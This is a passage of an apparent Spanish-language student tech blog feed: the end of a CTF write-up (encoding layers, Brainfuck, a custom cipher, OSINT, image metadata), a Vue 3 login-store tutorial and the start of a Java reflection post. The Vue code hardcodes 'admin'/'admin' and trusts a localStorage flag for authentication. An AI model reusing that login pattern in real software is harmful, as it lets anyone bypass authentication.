ZUbFhUV3R3U0Zrd1dtdFdWbHBYWTBWNFZrMUdjRmRhVnpGUFVqRndSMkZIYkZOV1JscEpWbXRhWVZsWFJYaFdXR2hVWWtkNGIxVnNVa2RXTVd4ellVVk9WbEpzV25oVmJYUmhZa1pLZFZGclpGZFdNMmhVVmtkNFNtVkdUbkpXYkdSb1RWaENiMWRXWTNoV01WcHlUVlpzVkdKR1dtOWFWM1JoVm14a1dHUkhPVkpOVlhCWVZtMDFVMkZyTUhsVmJrNVhZbGhTTTFWcVJtRlhSMDE2WVVaYWFWWllRa2xYVkVKaFdWWmFjazFXWkdwU01taFlXVlJHZDFNeGNFVlJXR2hYVFZaS2VsWlhlR3RoVmxweVkwVmtWMkpZVW1oWFZscFdaVVpTYzFwR1VsaFNNVXA0VmxkNGIxVXhaRWRqUm1oclUwVndjbFJXV2t0WGJHdDNWbXBDVjFZd2NFaFpNR2h6VmxaYWMxZHRhRmRTUlZwTVdUSjRZV05XWkhOWGJXaE9WMFZLUmxac2FIZFNNVnAwVlZoc1UyRXhjRmRaYTJSVFYwWnNXV05HWkZSTlZuQjVWbGQwVDFaRk1WWmpSbWhYVFZkb2NsWXljM2RsVjFaR1QxWldWMVl5YURKV2JHUTBWakpTU0ZSWWNHaFNiVkpZV1ZSR2QxZEdXa2hsUm1SUFVteFdNMVJXVm5OV2JVcElZVVprV2xaRldtaFpNbmhoVjBkTmVtRkhjRmRoZWxZMlZtMHhORlV4VW5OWGJsWlNZa1phV0Zsc2FGTlhSbHB4VW0xR1YwMVZOWGxYYTJSM1ZURlplbUZHVmxoV2JXZ3pWV3BHVDFZeFdsbGhSbHBvWlcxNFYxWlhlRk5TTWxaWFdraEtXR0Y2YkZoV2JYUjNWMVphUjJGSGRGZE5hMVkwV1RCYVExWXhXbk5qUmtKYVRWWndhRmt5YzNoV01WSnpXa2RzVTJKclNsbFdiWGh2WkRGSmVGSllhRlZpYTNCUVZteGFZVlpXYkhKYVJ6bFlVbXh3TUZSV1drOVdNVnB6WTBSQ1lWSlhUVEZXVkVGNFYwWldkV05HYUdoTlZtOTZWbTB3ZUZKdFVYZE9WbVJYWWtkU1ZGUlVTbTVsYkZwWlkwVmtXbFl3TlhsVU1WWlhWVzFLU0dGSVFsWmlSMmhFVmxWYVlXTXhjRVZSYXpsVFlsWktXVlpYTVRSV01WcElVbGh3YUZKdGFGaFphMlJTVFVaYWNWSnNUbGhTTVZwSVYydGFWMkZXU25WUmEyeFhWa1Z2TUZWNlJtRlNNVTV6V2tab2FWWXlhRmxYVm1Rd1V6QTFjMk5HWkZoaVZWcFVXV3hXZDFJeFVsZFhiRTVvVm10d1dsVlhkRzlXTVZwR1YyeFNWMUpGV2t4V2FrWkxaRlpPZEdKSGVHaE5XRUpWVm10YVlXRXhWWGhpUm1SWVlrZDRjVlZzYUZOV01WWjBaVVYwYkdKR2JEVmFWV1JIVm1zeGNsWnFXbGRXTTJoMlZtMTRXbVZ0UmtaaFJscE9ZbTFvZVZkWWNFdFRNVWw0V2toS1VGWnJOWEJWTUZaTFYwWmFjMVZyVGxkaGVsWllWa1pvYjFZeFpFaFZiR1JhVmtWS00xWkVSbk5qYlVaR1ZHMW9VMkpHV1RCV2JYaFRVakZaZUZkdVRtcFNWbkJYVkZjMWIxTkdXbkpYYlVaVFZtdGFWbGxZYjNkUVVUMDk=

</code></pre>
<!--kg-card-end: markdown--><p>A simple vista parece ser Base64, podemos descifrarlo con <a href="https://gchq.github.io/CyberChef/">cyberchef</a>, al parecer est&#xE1; cifrado m&#xE1;s de una vez en Base64 y es necesario combinarla con Base32, en total para encontrar el mensaje que nos interesa desciframos el texto siete veces en Base64, una vez en Base32 y finalmente una vez m&#xE1;s en Base64.</p><pre><code>HTTP/7.0 420 OK
X-Cabeceras-Inventadas: 1
Content-Type: text/plain
Encoding: base64
Compression: Deflate

fVEBCsQwCHtQMS8ofmTc/78xFWyNsgussjWJma6DR5da8ceR1bAN8lNVEYEfBGyjoND/ArtbhJ45aqy8TWPkh6Jk3ysBs7jDjFrI2cNEPXdIG6//WvfxVsN9RL8nceOlt4gIk5ujbLNE7Owz8Yl9Z8IJ6hTOAj5X+wI=</code></pre><p>El reto no acaba aqu&#xED;, tenemos como resultado lo que parece ser la informaci&#xF3;n de una petici&#xF3;n HTTP, un mensaje cifrado y lo m&#xE1;s importante para continuar es la pista <code>Compression: Deflate</code>, buscamos un decoder <a href="https://www.multiutil.com/deflate-to-text-decompress/">deflate to text</a>.</p><p>Lo que obtenemos es el siguiente mensaje cifrado, al parecer es el lenguaje esot&#xE9;rico <a href="https://es.wikipedia.org/wiki/Brainfuck">brainfuck</a>. </p><pre><code>++++++++++[&gt;+&gt;+++&gt;+++++++&gt;++++++++++&lt;&lt;&lt;&lt;-]&gt;&gt;&gt;---.&gt;----------------.&lt;+++.&gt;+++++++++++++++++++++++++++++++++++++++.&lt;-.&gt;-------------.&lt;++++++++++++++++.&gt;.&lt;--------.&gt;+++++++.-------.----------.+++++++++++.&lt;---------.&gt;.-.----------.+.&lt;++++++++++++.&gt;++++++++++++++++.----------------.-.+.++++++++++++++.&lt;+++.&gt;--------------.+++++++++++++.&lt;----------------.&gt;+++.--------------------.+++++++++++.+++++.++++.------------.----.+++++++++++++.&lt;.&gt;---.++++.------------------.&lt;&lt;++++++++++++++.&gt;&gt;--------------.++++++++++++++++++.&lt;--.&gt;++++++++.------------.+.++++++++++.-------.++++++++++++++++++++++++.</code></pre><p>Usamos un <a href="https://www.dcode.fr/brainfuck-language">decoder brainfuck</a> y obtenemos la flag del reto: <code>CTF{EnUnMundoDondePuedesSerCualquierCosa,SeAmable}</code></p><h2 id="cifrado-yaz-la-guerra-de-los-platos">Cifrado Yaz: La guerra de los platos</h2><h6 id="puntos-768">Puntos: 768</h6><!--kg-card-begin: markdown--><blockquote>
<p>En las tierras de Cochalandia se va peleando una batalla silenciosa entre dos bandos que se detestan: el Team Pique Macho y el Team Charque. Los primeros tienen m&#xE1;s poder y lograron conseguir a alguien que les cree su propia Enigma: el c&#xF3;digo yaz, un algoritmo &#xFA;nico para ocultar sus mensajes simulando ser risa de teclado. Es un cifrado hecho a mano, asi que no hay herramientas conocidas.</p>
<p>Pero el team Charque tiene a gente talentosa y entre ellos estas t&#xFA;. Tu tarea es romper el cifrado y descifrar el mensaje.</p>
<p>1JDJ1JSK1KPJ9J1KLJJN1KMJJN9J1J5JJN8KJN9J5J6KRJ1KGK8J7J9J2JMJJN9JJNSJ2KJNBKJN8JJN5JJN9JJNSKJN1KLJJN9JJNYK9K2KJNSJPKJN3KLKCJ2J9KLJ2K9KRK2KVKJN9J2KJNSK3JJN8JJNQKJNJN</p>
<p>Formato: si el texto que conseguiste dice hola mundo, tu bandera es TOC{hola mundo}. Hay una pista paga disponible.</p>
</blockquote>
<!--kg-card-end: markdown--><p>Seg&#xFA;n la descripci&#xF3;n el cifrado es hecho a mano y no hay herramientas conocidas, veamos si es cierto haciendo b&#xFA;squedas avanzadas con Google.</p><p>Encontramos una p&#xE1;gina con un <a href="https://www.theowlclub.net/traductor.php">decoder de cifrado yaz</a> (al parecer la p&#xE1;gina es del mismo creador del reto) y de esta forma obtenemos el mensaje cifrado.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/1-21.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1428" height="668" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-21.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-21.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-21.JPG 1428w" sizes="(min-width: 1200px) 1200px"></figure><p>Por &#xFA;ltimo, ponemos el mensaje descifrado en el formato correcto y obtenemos la flag <code>TOC{quise ver el eclipse y las nubes me jugaron una mala pasada}</code>.</p><h2 id="cifrado-yaz-ya-no-hay-backdoor">Cifrado Yaz: ya no hay backdoor</h2><h6 id="puntos-900">Puntos: 900</h6><!--kg-card-begin: markdown--><blockquote>
<p>Un equipo fue pagado para romper el c&#xF3;digo, y aunque entreg&#xF3; algunos resultados, no pudo entregar las especificaciones t&#xE9;cnicas del cifrado y as&#xED; demostr&#xF3; ser fraudulento.</p>
<p>Aunque tambi&#xE9;n te contactaron por medio de alguna amistad buena onda xd, quiz&#xE1;s t&#xFA; si sepas romper el c&#xF3;digo de verdad.</p>
<p>1KJNRKJN3JPKSK2KJNRKJN9KJNSK2JRJJNTJJN9KJNSJ6KJNDK9KJN6JJN5J8KJNJN</p>
<p>Formato: si el texto que conseguiste dice hola mundo, tu bandera es TOC{hola mundo}. Puedes usar la pista del anterior ejercicio.</p>
</blockquote>
<!--kg-card-end: markdown--><p>Otro reto con el cifrado yaz, y cuando se public&#xF3; el reto la p&#xE1;gina usada anteriormente ya no estaba disponible, por suerte la noche anterior intentamos entender el funcionamiento del cifrado yaz, empezamos cifrando las vocales y los espacios en blanco, de esta forma obtuvimos la siguiente informaci&#xF3;n.</p><!--kg-card-begin: markdown--><ul>
<li>U = 8</li>
<li>O = 6</li>
<li>I = 3</li>
<li>E = 2</li>
<li>A = 1</li>
<li>&quot; &quot; = 9</li>
<li>&quot;basura&quot; = KJN</li>
</ul>
<!--kg-card-end: markdown--><p>Adem&#xE1;s, que al momento de cifrar el mensaje se gira el orden del texto.<br><br>Entonces cambiando los n&#xFA;meros &quot;9&quot; por espacios en blanco, quitando las partes que contienen las letras &quot;KJN&quot;, cambiando los valores que conocemos y finalmente girando el orden del texto obtenemos el siguiente mensaje:</p><p><strong><code>U56 D6S TR2S R2SPJ3R1</code></strong></p><p>Entonces nuestra flag final es TOC{uno dos tres respira}.</p><h2 id="libros-y-m%C3%A1s-libros">Libros y m&#xE1;s libros</h2><h6 id="puntos-240">Puntos: 240</h6><!--kg-card-begin: markdown--><blockquote>
<p>Encuentra el libro que Danna Suarez Quito afirma p&#xFA;blicamente le ha estado gustando m&#xE1;s estos d&#xED;as.</p>
<p>Formato: si el nombre del libro que conseguiste se llama &#xC1;lgebra, de Aurelio Baldor, tu bandera es CTF{&#xC1;lgebra}.</p>
</blockquote>
<!--kg-card-end: markdown--><p>Buscando perfiles de usuario en diferentes plataformas encontramos un perfil en Instagram pero que no nos dio mucha informaci&#xF3;n, pero si seguimos buscando encontramos una p&#xE1;gina que parece interesante, ya que tiene el nombre completo de nuestra b&#xFA;squeda.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/3-2.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="953" height="173" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/3-2.JPG 600w, https://blog.scesi.org/content/images/2022/01/3-2.JPG 953w" sizes="(min-width: 720px) 720px"></figure><p>En esta p&#xE1;gina no vemos nada relacionado a libros, pero s&#xED; podemos ver el perfil en otra p&#xE1;gina.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/4.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="379" height="551"></figure><p>Finalmente encontramos un <a href="https://www.blogger.com/profile/09900212813862627728">perfil en blogger</a> donde si podemos ver el libro favorito.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/1-16.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1079" height="745" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-16.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-16.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-16.JPG 1079w" sizes="(min-width: 720px) 720px"></figure><p>Entonces la bandera del reto ser&#xE1; <code>CTF{If Tomorrow Comes}</code></p><h2 id="paseando-al-gato">Paseando al gato</h2><h6 id="puntos-120">Puntos: 120</h6><!--kg-card-begin: markdown--><blockquote>
<p>Fui a pasear al gato &#x1F431;: estuvo mirando el vecindario y le gust&#xF3; treparse a los &#xE1;rboles. Naturalmente, les pas&#xE9; una foto a mis amigos.</p>
<p>Encuentra la bandera.</p>
</blockquote>
<!--kg-card-end: markdown--><p>El reto nos da la siguiente <a href="http://scesi.org/hm21-gatitopng">imagen</a> aplicando algunos filtros para buscar la flag por medio de <a href="https://es.wikipedia.org/wiki/Esteganograf&#xED;a">estenograf&#xED;a</a> en la imagen no encontramos nada.</p><p>Entonces algo que podemos revisar son los metadatos de la imagen con la herramienta Exiftool.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/1-13.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1137" height="351" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-13.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-13.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-13.JPG 1137w" sizes="(min-width: 720px) 720px"></figure><p>De esta forma encontramos en la secci&#xF3;n modelo de c&#xE1;mara lo que parece ser un mensaje cifrado.<br>Probando varios tipos de cifrado al final encontramos primero deb&#xED;a usarse HEX y luego ROT47 y obtenemos la flag <code>CTF{YaSePrepararEmpanadas}</code>.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/1-12.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1108" height="297" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-12.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-12.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-12.JPG 1108w"></figure><h2 id="inteligencia-i-fideos-con-pur%C3%A9">Inteligencia I: Fideos con <strong>pur&#xE9;</strong></h2><h6 id="puntos-350-1">Puntos: 350</h6><!--kg-card-begin: markdown--><blockquote>
<p>Un d&#xED;a mientras revisaba un basurero un servidor random de Discord, publicaron esta pista de audio. Tu misi&#xF3;n es encontrar el artista, pero sobretodo, el &#xE1;lbum.</p>
<p>Formato: Si crees que el &#xE1;lbum es &quot;Fuegos Artificiales&quot;, tu bandera es CTF{Fuegos Artificiales}.</p>
</blockquote>
<!--kg-card-end: markdown--><p>Para este reto tenemos el <a href="http://scesi.org/hm21-unknownflac">audio</a> de una canci&#xF3;n que al parecer es punk argentino, y el t&#xED;tulo del reto &quot;Fideos con pur&#xE9;&quot; es parte del coro de la canci&#xF3;n, as&#xED; que busquemos m&#xE1;s informaci&#xF3;n.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/1-14.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="979" height="560" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-14.JPG 600w, https://blog.scesi.org/content/images/2022/01/1-14.JPG 979w"></figure><p>Luego de buscar en Google &quot;fideos con pur&#xE9; canci&#xF3;n punk&quot; y revisar los resultados encontramos una <a href="https://menem.bandcamp.com/track/fideos-con-pure">pagina</a> en la que podemos ver la letra, el nombre del grupo y lo que m&#xE1;s nos interesa para el reto, el nombre del &#xE1;lbum: Neoliberalismo<br>Por lo tanto la flag del reto es: <code>CTF{Neoliberalismo}</code></p><h2 id="la-aguja-en-el-pajar-remix">La aguja en el pajar (Remix)</h2><h6 id="puntos-450">Puntos: 450</h6><!--kg-card-begin: markdown--><blockquote>
<p>El cl&#xE1;sico ejercicio, pero con sombrero nuevo.</p>
</blockquote>
<!--kg-card-end: markdown--><p>Comenzamos viendo el contenido del <a href="http://scesi.org/hm21-tmpzip">archivo</a> del reto, al parecer son 2000 im&#xE1;genes que a simple vista son iguales</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/2-3.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="584" height="509"></figure><p>Lo que podemos hacer es ver los metadatos para ver si encontramos algo interesante.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/1-17.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1301" height="424" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-17.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-17.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-17.JPG 1301w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que en la secci&#xF3;n de Comment hay un mensaje que parece cifrado, luego de hacer algunas pruebas vemos que se usa Base32 para descifrar el mensaje y tenemos lo siguiente.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/1-18.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1174" height="219" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-18.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-18.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-18.JPG 1174w"></figure><p>Parece ser que esta no es la flag correcta, pero podemos intentar ver la secci&#xF3;n Comment de todas las im&#xE1;genes con el uso de pipes para saber si hay alguna distinta del resto.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/1-19.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1300" height="346" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-19.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-19.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-19.JPG 1300w" sizes="(min-width: 1200px) 1200px"></figure><p>Y encontramos un mensaje que es distinto al resto, si lo desciframos en Base32 obtenemos la flag <code>CTF{acl4ssich4yst4ck&amp;n33dlepr0blem}</code>.</p><p>Y con eso terminamos los retos del CTF. Al final la puntuaci&#xF3;n estuvo muy re&#xF1;ida y ganamos gracias a no usar nuestros puntos en conseguir pistas, espero les gustara el write-up. Cualquier duda o reclamo lo pueden hacer en la secci&#xF3;n de comentarios y est&#xE9;n atentos ya que pr&#xF3;ximamente se publicar&#xE1; el write-up del CIDSI 2021 con retos igual de interesantes.</p><p>Regards and happy hacking!</p>]]></content:encoded></item><item><title><![CDATA[Composables como store en VueJs 3]]></title><description><![CDATA[<p>Holas, justamente estoy trabajando en un proyecto personal y se me ocurri&#xF3; la loca idea de crear un global store sin usar <strong>vuex</strong>, con las nuevas adiciones de vue 3 de <code>provide</code>, <code>inject</code>, y <em>composables</em>. Si no est&#xE1;n muy enterados de como van estas nuevas features se</p>]]></description><link>https://blog.scesi.org/composables-como-store/</link><guid isPermaLink="false">617312f9edab8b59b23ede5c</guid><category><![CDATA[Vue]]></category><dc:creator><![CDATA[Alan Bruno Benavides Alvarez]]></dc:creator><pubDate>Fri, 22 Oct 2021 19:47:56 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2021/10/vue_provide.png" medium="image"/><content:encoded><![CDATA[<img src="https://blog.scesi.org/content/images/2021/10/vue_provide.png" alt="Composables como store en VueJs 3"><p>Holas, justamente estoy trabajando en un proyecto personal y se me ocurri&#xF3; la loca idea de crear un global store sin usar <strong>vuex</strong>, con las nuevas adiciones de vue 3 de <code>provide</code>, <code>inject</code>, y <em>composables</em>. Si no est&#xE1;n muy enterados de como van estas nuevas features se las resumo.</p><h2 id="%C2%BFqu%C3%A9-es-provide-inject">&#xBF;Qu&#xE9; es Provide / Inject?</h2><p>Usualmente para comunicar datos entre componentes se utiliza los <code>props</code> y los <code>emits</code>, que estos tieneden que ser opciones expl&#xED;citas y/o morosas, en el sentido de que hay que formar un &quot;camino&quot; entre los componentes para recibir o enviar datos. Y ah&#xED; es donde llega el <code>provider/injection</code> al rescate, donde en el provider declaramos la data y los eventos que se transmitir&#xE1;n a los hijos y con el inject interceptamos esto sin necesidad de ese &quot;camino&quot;. Si desean ver la documentacion oficial <a href="https://v3.vuejs.org/guide/component-provide-inject.html#working-with-reactivity">Provide / inject</a>.</p><h2 id="%C2%BFqu%C3%A9-son-los-composibles">&#xBF;Qu&#xE9; son los Composibles?</h2><p>Los composables es la nueva manera de reutilizar funcionalidades <em>similar a los customHooks en react</em>, se puede acceder al api de vue y formar la logica dentro de este para luego exponer los metodos o propiedades que quieras que sean accesibles, la documentacion da unos cuantos ejemplos <a href="https://v3.vuejs.org/guide/composition-api-introduction.html#why-composition-api">Composables</a>.</p><h2 id="contexto-del-experimento">Contexto del experimento</h2><p>Queremos crear un store usando composables y <code>provide / inject</code> donde podamos decir que es un root store de la aplicaci&#xF3;n, como ejemplo una feature de login en la App, donde administramos el estado de autentificaci&#xF3;n desde un composable y para interactuar con este usaremos providers e injections.</p><h2 id="codeando">Codeando</h2><h3 id="useauthjs"><code>useAuth.js</code></h3><pre><code class="language-JS">import { ref, provide, readonly } from &quot;vue&quot;;
import { useRouter } from &quot;vue-router&quot;;
import { getItemLocalStore } from &quot;../lib/localStoreItem&quot;;

export const useAuth = () =&gt; {
    const router = useRouter();
    const isAuthenticated = ref(getItemLocalStore(&quot;isAuthenticated&quot;, false));

    const login = ({ name, password }) =&gt; {
        if (name == &quot;admin&quot; &amp;&amp; password == &quot;admin&quot;) {
            isAuthenticated.value = true;
            localStorage.setItem(&quot;isAuthenticated&quot;, isAuthenticated.value);
            router.push({ name: &quot;Home&quot; });
        }
    };

    const logout = () =&gt; {
        isAuthenticated.value = false;
        localStorage.setItem(&quot;isAuthenticated&quot;, isAuthenticated.value);
        router.push({ name: &quot;Login&quot; });
    };

    provide(&quot;auth_login&quot;, login);
    provide(&quot;auth_logout&quot;, logout);
    provide(&quot;isAuthenticated&quot;, readonly(isAuthenticated));

    return {
        isAuthenticated: readonly(isAuthenticated),
        login,
        logout,
    };
};
</code></pre><h3 id="routerindexjs"><code>router/index.js</code></h3><pre><code class="language-JS">import { createRouter, createWebHistory } from &quot;vue-router&quot;;
import { getItemLocalStore } from &quot;../lib/localStoreItem&quot;;

const Login = () =&gt; import(&quot;../views/Login.vue&quot;);
const Home = () =&gt; import(&quot;../views/Home.vue&quot;);

const routes = [
    {
        path: &quot;/&quot;,
        component: Home,
        meta: { auth: true },
        name: &quot;Home&quot;,
    },
    {
        path: &quot;/login&quot;,
        component: Login,
        meta: { auth: false },
        name: &quot;Login&quot;,
    },
];

const router = createRouter({
    history: createWebHistory(),
    routes,
});

router.beforeEach((to, _, next) =&gt; {
    const isAuthenticated = getItemLocalStore(&quot;isAuthenticated&quot;, false);
    if (to.meta.auth &amp;&amp; !isAuthenticated) {
        next({ name: &quot;Login&quot; });
    } else if (!to.meta.auth &amp;&amp; isAuthenticated) {
        next({ name: &quot;Home&quot; });
    } else {
        next();
    }
});

export default router;
</code></pre><h3 id="appvue"><code>App.vue</code></h3><pre><code class="language-HTML">&lt;script setup&gt;
    import Header from &quot;./components/Header.vue&quot;;
    import { useAuth } from &quot;./composables/useAuth&quot;;
    useAuth();
&lt;/script&gt;

&lt;template&gt;
    &lt;div class=&quot;app&quot;&gt;
        &lt;Header /&gt;
        &lt;router-view&gt;&lt;/router-view&gt;
    &lt;/div&gt;
&lt;/template&gt;
</code></pre><p>Con estos tres archivos ya estamos listos para poder ya administrar todo el estado de auth en nuestra aplicaci&#xF3;n.<br>Y de esta manera podemos inyectar <code>auth_login</code> para poder loguearnos desde la vista de Login. Y si necesit&#xE1;ramos alguna otra funcionalidad relacionada a auth es f&#xE1;cil agregarlo e inyectamos esa nueva caracter&#xED;stica en donde lo necesitemos sin estar creando el <em>camino</em> entre componentes.</p><h3 id="viewsloginvue"><code>views/Login.vue</code></h3><pre><code class="language-HTML">&lt;script setup&gt;
    import { inject, ref } from &quot;vue&quot;;
    const loginProvided = inject(&quot;auth_login&quot;);

    const login = () =&gt; {
        loginProvided(data.value);
    };

    const data = ref({
        name: &quot;&quot;,
        password: &quot;&quot;,
    });
&lt;/script&gt;

&lt;template&gt;
    &lt;div class=&quot;login&quot;&gt;
        &lt;h1&gt;Iniciar Sesi&#xF3;n&lt;/h1&gt;
        &lt;form @submit.prevent=&quot;login()&quot; class=&quot;login__fields&quot;&gt;
            &lt;label for=&quot;name&quot;&gt;Nombre&lt;/label&gt;
            &lt;input id=&quot;name&quot; type=&quot;text&quot; v-model=&quot;data.name&quot; /&gt;
            &lt;label for=&quot;password&quot;&gt;Contrase&#xF1;a&lt;/label&gt;
            &lt;input id=&quot;password&quot; type=&quot;password&quot; v-model=&quot;data.password&quot; /&gt;
            &lt;button type=&quot;submit&quot;&gt;Loguearse&lt;/button&gt;
        &lt;/form&gt;
    &lt;/div&gt;
&lt;/template&gt;
</code></pre><h2 id="conclusi%C3%B3n-y-limitaciones">Conclusi&#xF3;n y limitaciones</h2><p>El desarrollo del login fue sencillo, y termina siendo f&#xE1;cil de gestionar la autenticaci&#xF3;n dentro de la aplicaci&#xF3;n, y nos estar&#xED;amos olvidando de usar <strong>vuex</strong> para gestionar nuestro estado en este tipo de casos. Pero para proyectos grandes me sigo quedando con <strong>vuex</strong> por lo normado que esta. Ya que usando composables con provides/injections nos puede salir cualquier cosa, si no seguimos est&#xE1;ndares en la implementaci&#xF3;n al desarrollar estos, y tambi&#xE9;n evitaria usar este tipo de implementaciones en proyectos medianos a grandes con TypeScript por lo moroso de ir casteando los tipos en cada inyecci&#xF3;n.</p><p>Espero que les vea gustado este experimento, los veo en otro blog.<br>Si desean ver el c&#xF3;digo completo les dejo el repositorio: <a href="https://github.com/Avsco/vue-composable-auth">https://github.com/Avsco/vue-composable-auth</a>.</p>]]></content:encoded></item><item><title><![CDATA[Accediendo a campos/atributos privados de un objeto JAVA]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Hace unos d&#xED;as tuve que acceder al valor que ten&#xED;a un objeto el cual era <code>private</code> por lo cual &quot;no se puede&quot; acceder directamente, tambi&#xE9;n no pod&#xED;a a&#xF1;adir un m&#xE9;todo <code>get()</code> que ser&#xED;a lo</p></blockquote>]]></description><link>https://blog.scesi.org/accediendo-campos-atributos-privados-objeto-java/</link><guid isPermaLink="false">5e3d9420b19f5f077b7eb4c8</guid><category><![CDATA[reflec]]></category><category><![CDATA[java]]></category><category><![CDATA[SCESI]]></category><dc:creator><![CDATA[Abdiel Orellana]]></dc:creator><pubDate>Wed, 18 Aug 2021 20:52:46 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2021/08/java-reflection.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.scesi.org/content/images/2021/08/java-reflection.png" alt="Accediendo a campos/atributos privados de un objeto JAVA"><p>Hace unos d&#xED;as tuve que acceder al valor que ten&#xED;a un objeto el cual era <code>private</code> por lo cual &quot;no se puede&quot; acceder directamente, tambi&#xE9;n no pod&#xED;a a&#xF1;adir un m&#xE9;todo <code>get()</code> que ser&#xED;a lo mas r&#xE1;pido, pero de no ser por esa restricci&#xF3;n no habr&#xED;a este post. <a href="#repositorio">Enlace del repositorio</a></p>
</blockquote>
<p><strong>Java JDK</strong></p>
<pre><code class="language-sh">-&gt;  java -version
java version &quot;15.0.2&quot; 2021-01-19
Java(TM) SE Runtime Environment (build 15.0.2+7-27)
Java HotSpot(TM) 64-Bit Server VM (build 15.0.2+7-27, mixed mode, sharing)
</code></pre>
<p>La estructura de archivos es:</p>
<pre><code class="language-sh">.
&#x251C;&#x2500;&#x2500; code
&#x2502;&#xA0;&#xA0; &#x251C;&#x2500;&#x2500; Address.java
&#x2502;&#xA0;&#xA0; &#x251C;&#x2500;&#x2500; Explorer.java
&#x2502;&#xA0;&#xA0; &#x251C;&#x2500;&#x2500; Main.java
&#x2502;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; User.java
&#x2514;&#x2500;&#x2500; README.md
</code></pre>
<p>Las clases <code>User</code> y <code>Address</code> servir&#xE1;n de ejemplo y pruebas. <code>Explorer</code> contiene la funcionalidad a exponer y que explicaremos en este post, la clase <code>Main</code> creara instancias de User, Address y Explorer <a href="#repositorio">repositorio</a>.</p>
<p><code>code/Address.java</code></p>
<pre><code class="language-java">public class Address {
    
    private String city;
    private String street;
    private int number;

    public Address(String city, String street, int num){
        this.city = city;
        this.street = street;
        number = num;
    }

    @Override
    public String toString(){
        ...
    }
}
</code></pre>
<p><code>Address.java</code> est&#xE1; formado por un tipo de dato primitivo <code>int</code> y dos cadenas de caracteres <code>String</code>, estos <em>&apos;atributos&apos;</em>, que a partir de ahora los llamaremos <strong>&apos;campos&apos;</strong> (field), tienen el modificador de acceso <code>private</code> y definen al objeto Address que no posee getters o setters.</p>
<p><code>code/User.java</code></p>
<pre><code class="language-java">import java.util.Date;

public class User {

  private final String name;
  private final String dni;
  private final Date date;
  
  private int age;
  private boolean married;
  private Address address;

  public User(String name, String dni, Address address) {
    this.name = name;
    this.dni = dni;
    date = new Date();
    age = getRandomInt(17, 35);
    married = isMarried();
    this.address = address;
  }

  private int getRandomInt(int min, int max) {
    return (int) (Math.random() * (max-min)) + min;
  }

  private boolean isMarried(){
    return age&gt;=25;
  }

  @Override
  public String toString(){
      ...
  }
}
</code></pre>
<p><code>User.java</code> consta de <strong>campos</strong> primitivos, cadena de caracteres, <code>java.util.Date</code> y <code>Address</code> que son tipos que encierran mas complejidad.</p>
<p>Ok como vemos todos los &apos;campos&apos; de User y Address tienen el modificador de acceso: <code>private</code> y en las clases no tenemos m&#xE9;todos de acceso y menos modificar los valores de cada campo.</p>
<h2 id="objetivo">Objetivo</h2>
<p>El objetivo es mostrar com&#xF3; podemos acceder, conocer y modificar campos que tengan, en este caso, el modificador de acceso <code>private</code> usando m&#xE9;todos de la clase <code>Object</code> y clases del paquete <code>java.lang.reflect</code>.<br>
Obt&#xE9;n mas informaci&#xF3;n en la secci&#xF3;n de <a href="#referencias">referencias</a>.</p>
<h2 id="algunosconceptosnecesarios">Algunos conceptos necesarios</h2>
<ul>
<li>
